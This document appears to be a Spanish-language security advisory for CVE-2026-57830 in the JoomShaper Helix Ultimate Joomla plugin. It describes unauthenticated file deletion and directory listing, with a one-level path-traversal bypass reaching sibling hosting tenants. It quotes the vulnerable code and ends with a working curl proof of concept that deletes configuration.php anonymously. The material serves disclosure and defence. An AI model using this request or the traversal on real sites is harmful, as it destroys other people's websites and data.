
Eliminación arbitraria de archivos/carpetas sin autenticación en Joomla Helix Ultimate (JoomShaper) <= 2.2.6 — CVE-2026-57830
Esto es una vulnerabilidad confirmada de DoS + acceso al sistema de archivos entre inquilinos (cross-tenant), NO RCE. Una teoría de escalada a RCE
(borrar configuration.php para volver a exponer el instalador de Joomla) se probó en vivo y quedó refutada; ver «Escalada de RCE: probada y refutada» más abajo. No representes esto como RCE en ningún informe sin derivar antes una cadena real.
Mejora de severidad (2026-07-06, segunda pasada): el parámetro path NO está contenido de forma segura dentro de la raíz web de Joomla como se evaluó inicialmente: el filtro de entrada PATH de Joomla no bloquea un único componente de traversal /../, por lo que este fallo alcanza (lectura: listado completo de directorios; escritura: borrado de archivos o borrado recursivo del contenido de carpetas) cualquier cosa en el sistema de archivos a la que el usuario del servidor web pueda acceder, no solo archivos dentro de la instalación de Joomla. En cualquier esquema de hosting compartido donde varios sitios/inquilinos viven como directorios hermanos bajo el mismo usuario del sistema operativo (extremadamente común: «addon domains» de cPanel, suscripciones de Plesk que comparten un usuario de sistema, la mayoría de hostings económicos), un único sitio basado en Helix Ultimate permite que un visitante anónimo destruya cualquier otro sitio en la misma cuenta. Ver «El path traversal escapa por completo de JPATH_ROOT» más abajo para la prueba en vivo.
Componente: JoomShaper Helix Ultimate Framework (plg_system_helixultimate), incluido prácticamente con todas las plantillas Joomla de JoomShaper (basadas en Helix Ultimate).
Versión probada: 2.2.6 (GitHub JoomShaper/helix-ultimate, HEAD a fecha de 2026-07, último push 2026-06-30)
Autor: Amin İsayev / Proxima Cyber Security
plugins/system/helixultimate/src/Platform/Media.php expone deleteMedia(), getFolders() y createFolder()
a través del enganche de despacho com_ajax de Joomla en helixultimate.php::onAfterRoute(). Estos tres métodos solo llaman a
Session::checkToken() (una simple comprobación CSRF, satisfecha por el token de sesión de cualquier visitante anónimo, obtenible
del HTML de la página principal del sitio) — sin ninguna comprobación authorise() / de inicio de sesión. Esto es incoherente con el método
hermano uploadMedia() de la misma clase, que correctamente exige core.edit sobre com_templates.
Debido a que se trata de un plugin de sistema, onAfterRoute() se ejecuta en cada solicitud sin importar qué plantilla esté
actualmente activa: la ruta de código vulnerable es alcanzable mientras el plugin esté instalado y habilitado (y lo está,
por defecto, en cualquier sitio que use una plantilla JoomShaper basada en Helix Ultimate).
plugins/system/helixultimate/helixultimate.php (~líneas 464-489):
if ($this->app->isClient('site'))
{
$option = $this->app->input->get('option', '', 'STRING');
$helix = $this->app->input->get('helix', '', 'STRING');
$request = $this->app->input->get('request', '', 'STRING');
$action = $this->app->input->get('action', '', 'STRING');
if ($option === 'com_ajax' && $helix === 'ultimate' && $request === 'task' && $action !== '')
{
switch ($action)
{
case 'upload-blog-image': Blog::upload_image(); break; // has core.create/com_media check
case 'remove-blog-image': Blog::remove_image(); break; // has core.delete/com_media check
case 'view-media': Media::getFolders(); break; // NO authorise() check
case 'delete-media': Media::deleteMedia(); break; // NO authorise() check
case 'upload-media': Media::uploadMedia(); break; // has core.edit/com_templates check
}
}
}
plugins/system/helixultimate/src/Platform/Media.php:
public static function deleteMedia()
{
$output['message'] = Text::_('JINVALID_TOKEN');
Session::checkToken() or die(json_encode($output)); // ← only CSRF, no authorise()
$path = $input->post->get('path', '/images', 'PATH');
$type = $input->post->get('type', 'file', 'STRING');
if ($type === 'file') { File::delete(JPATH_ROOT . '/' . $path); }
else { Folder::delete(JPATH_ROOT . '/' . $path); } // recursive
}
$path pasa por el filtro de entrada PATH de Joomla (InputFilter::cleanPath()). Dos factores independientes hacen que esto sea peligroso:
path se resuelve directamente bajo JPATH_ROOT, por lo que cualquier ruta absoluta desde la raíz (/configuration.php, /administrator/..., /media/...) ya es alcanzable.cleanPath() (^[A-Za-z0-9_\/-]+[A-Za-z0-9_\.-]*([\\\\\/]+[A-Za-z0-9_-]+[A-Za-z0-9_\.-]*)*$) permite exactamente una secuencia de caracteres de punto/guion/alfanuméricos situada justo después del bloque inicial [A-Za-z0-9_/-]+ — y una / inicial por sí sola satisface ese bloque inicial, de modo que una cadena como /../sibling_dir coincide limpiamente: / (bloque 1), .. (la secuencia de puntos permitida), /sibling_dir (un segmento final normal). El filtro se escribió para rechazar un segmento que comienza un nuevo componente /… con un punto, pero nunca previó un único .. justo después del primer carácter de la cadena. Encadenar ../../.. NO sobrevive (todo segmento /… posterior a la primera secuencia de puntos debe comenzar con un carácter que no sea un punto); por tanto, el escape queda limitado a exactamente un nivel de directorio por encima de JPATH_ROOT, pero todo lo que esté por debajo de ese nivel (profundidad arbitraria) es alcanzable con normalidad, ya que los segmentos adicionales son solo componentes de ruta ordinarios sin puntos.configuration.php → caída total e instantánea del sitio (error fatal «No configuration»), una única petición HTTP, cero autenticación.type=folder) → p. ej. /administrator, /components, /media → mucho más destructiva, destruye efectivamente la instalación.view-media (Media::getFolders()): lista todos los archivos de imagen, todos los nombres de subcarpetas y las rutas absolutas del servidor bajo cualquier ruta relativa a la raíz, sin requerir autenticación (se usa más abajo como señal de detección segura).Probado contra una instancia Docker desechable (Joomla 5.4.6 + plugin Helix Ultimate 2.2.6, instalación limpia, sesión de navegador totalmente anónima — sin inicio de sesión, sin otra cookie que la que Joomla entrega a cada visitante):
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/configuration.php" \
--data-urlencode "type=file" \
--data-urlencode "<csrf-token-from-homepage>=1"
{"status":true, ...}